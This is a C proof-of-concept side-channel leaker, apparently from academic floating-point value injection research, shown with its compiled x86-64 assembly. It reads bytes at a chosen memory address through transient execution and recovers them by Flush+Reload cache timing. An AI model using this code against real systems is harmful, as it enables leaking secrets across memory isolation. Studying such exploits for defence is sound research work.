// File: /workspace/github_c_makefile_star2_O3/vusec[P]fpvi-scsb/leakers/fp/leak.c
// Function: main
int main(int argc, char **argv)
{
    uint64_t leak_addr;
    uint32_t leak_length;
    uint8_t *leak_ptr;
    int ret;

    if (argc > 2)
    {
        sscanf(argv[1], "0x%lx", &leak_addr);
        sscanf(argv[2], "%d", &leak_length);
        leak_ptr = (uint8_t *) leak_addr;
    }
    else
    {
        leak_ptr = "This is a test to verify that it leaks";
        leak_length = strlen(leak_ptr);
    }

    /* Setup */
    __attribute__((aligned(4096))) size_t results[LEAK_SIZE] = {0};
    unsigned char *reload_buf   = (unsigned char *) mmap(NULL, LEAK_SIZE*STRIDE, PROT_READ | PROT_WRITE,
                                                         MAP_ANONYMOUS | MAP_PRIVATE | MAP_POPULATE | MAP_HUGETLB, -1, 0);
    assert(reload_buf != MAP_FAILED);

    for(int i=0; i<leak_length; i++)
    {
        memset(results, 0, sizeof(results));

        for(int j=0; j<ITER; j++)
        {
            flush(reload_buf);
            fp_leak(reload_buf, leak_ptr+i);
            reload(reload_buf, results);
        }

        printf("0x%016lx :\n", (uint64_t)(leak_ptr+i));
        print_results(results, ITER/10);
    }

    return 0;    
}

// Assembly:
pushq %rbp
movq %rsp, %rbp
pushq %r15
pushq %r14
pushq %r13
pushq %r12
pushq %rbx
andq $-0x1000, %rsp          # imm = 0xF000
subq $0x2000, %rsp           # imm = 0x2000
cmpl $0x3, %edi
jl 0x401274
movq %rsi, %rbx
movq 0x8(%rsi), %rdi
leaq 0xdd4(%rip), %rsi       # 0x402017
leaq 0xff8(%rsp), %r14
movq %r14, %rdx
xorl %eax, %eax
callq 0x401070
movq 0x10(%rbx), %rdi
leaq 0xdbd(%rip), %rsi       # 0x40201d
leaq 0xfec(%rsp), %rdx
xorl %eax, %eax
callq 0x401070
movq (%r14), %rax
jmp 0x401286
movl $0x26, 0xfec(%rsp)
leaq 0xd9a(%rip), %rax       # 0x402020
movq %rax, 0xff0(%rsp)
movl $0x40000, %esi          # imm = 0x40000
xorl %edi, %edi
movl $0x3, %edx
movl $0x48022, %ecx          # imm = 0x48022
movl $0xffffffff, %r8d       # imm = 0xFFFFFFFF
xorl %r9d, %r9d
callq 0x401030
cmpq $-0x1, %rax
je 0x4013ba
cmpl $0x0, 0xfec(%rsp)
je 0x4013a9
movq %rax, %rbx
leaq 0x1000(%rsp), %r14
xorl %r15d, %r15d
movl $0x800, %edx            # imm = 0x800
movq %r14, %rdi
xorl %esi, %esi
callq 0x401060
movq 0xff0(%rsp), %rax
leaq (%rax,%r15), %r12
xorl %r13d, %r13d
xorl %eax, %eax
leaq (%rbx,%rax), %rcx
clflush (%rcx)
addq $0x400, %rax            # imm = 0x400
cmpq $0x40000, %rax          # imm = 0x40000
jne 0x4012f3
mfence
movq %rbx, %rdi
movq %r12, %rsi
callq 0x401400
mfence
movl $0xd, %edi
movzbl %dil, %r8d
movl %r8d, %r9d
shll $0xa, %r9d
rdtscp
movq %rdx, %rsi
shlq $0x20, %rsi
orq %rax, %rsi
movb (%rbx,%r9), %al
rdtscp
shlq $0x20, %rdx
orq %rax, %rdx
subq %rsi, %rdx
cmpq $0x9f, %rdx
ja 0x401358
incq 0x1000(%rsp,%r8,8)
addq $0xa7, %rdi
cmpq $0xa70d, %rdi           # imm = 0xA70D
jne 0x40131e
incl %r13d
cmpl $0x3e8, %r13d           # imm = 0x3E8
jne 0x4012f1
leaq 0xcff(%rip), %rdi       # 0x40207e
movq %r12, %rsi
xorl %eax, %eax
callq 0x401040
movl $0x64, %esi
movq %r14, %rdi
callq 0x4011a8
incq %r15
movl 0xfec(%rsp), %eax
cmpq %rax, %r15
jb 0x4012d3
xorl %eax, %eax
leaq -0x28(%rbp), %rsp
popq %rbx
popq %r12
popq %r13
popq %r14
popq %r15
popq %rbp
retq
leaq 0xc86(%rip), %rdi       # 0x402047
leaq 0xc98(%rip), %rsi       # 0x402060
leaq 0xc98(%rip), %rcx       # 0x402067
movl $0x2b, %edx
callq 0x401050
nopw %cs:(%rax,%rax)
nopw %cs:(%rax,%rax)
nopw %cs:(%rax,%rax)
nopw (%rax,%rax)